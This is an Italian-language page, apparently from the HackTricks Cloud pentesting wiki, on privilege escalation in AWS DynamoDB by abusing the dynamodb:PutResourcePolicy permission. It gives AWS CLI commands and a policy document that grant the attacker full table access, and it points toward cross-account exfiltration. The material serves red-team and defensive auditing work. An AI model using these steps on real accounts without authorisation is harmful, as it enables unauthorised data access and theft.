AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
dynamodb
Per maggiori informazioni su dynamodb consulta:
dynamodb:PutResourcePolicy, e opzionalmente dynamodb:GetResourcePolicy
Da marzo 2024, AWS offre policy basate sulle risorse per DynamoDB (AWS News).
Quindi, se hai il dynamodb:PutResourcePolicy su una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principal l'accesso completo alla tabella.
Concedere il dynamodb:PutResourcePolicy a un principal casuale spesso avviene per errore, se gli amministratori pensano che concedere dynamodb:Put* permetta solo al principal di inserire elementi nel database — o se hanno concesso quel permissionset prima di marzo 2024...
Idealmente, hai anche dynamodb:GetResourcePolicy, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Se non riesci a recuperare la policy corrente, usa semplicemente questa che concede l'accesso completo alla tabella al tuo principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Se devi personalizzarlo, ecco un elenco di tutte le possibili azioni di DynamoDB: AWS Documentation. E qui c'è un elenco di tutte le azioni che possono essere consentite tramite una resource based policy E quali di queste possono essere utilizzate cross-account (think data exfiltration!): AWS Documentation
Ora, con il documento di policy policy.json pronto, inserisci la resource policy:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Ora dovresti avere i permessi di cui avevi bisogno.
Post Exploitation
Per quanto ne so, c'è no other direct way to escalate privileges in AWS just by having some AWS dynamodb permissions. Puoi leggere informazioni sensibili dalle tabelle (che potrebbero contenere credenziali AWS) e scrivere informazioni sulle tabelle (che potrebbero innescare altre vulnerabilità, come lambda code injections...) ma tutte queste opzioni sono già considerate nella DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Leggere dati abusando dei data Streams
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud